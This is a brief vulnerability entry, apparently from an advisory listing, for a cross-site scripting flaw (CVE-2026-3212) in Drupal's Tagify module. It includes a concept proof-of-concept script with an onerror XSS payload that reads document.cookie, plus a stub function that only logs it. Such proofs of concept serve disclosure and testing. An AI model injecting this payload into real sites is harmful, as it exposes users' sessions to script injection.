CVE-2026-3212 Drupal Tagify 跨站脚本漏洞

<!-- PoC Concept for CVE-2026-3212 --> <!-- Attacker injects script via Tagify input --> <script> // Example payload to be injected into a vulnerable tag field var xssPayload = '<img src=x onerror=alert(document.cookie)>'; // Function to simulate sending the malicious tag function exploit() { console.log('Sending payload: ' + xssPayload); // In a real scenario, this would be sent to the backend endpoint // handling Tagify submissions (e.g., via AJAX POST) } exploit(); </script>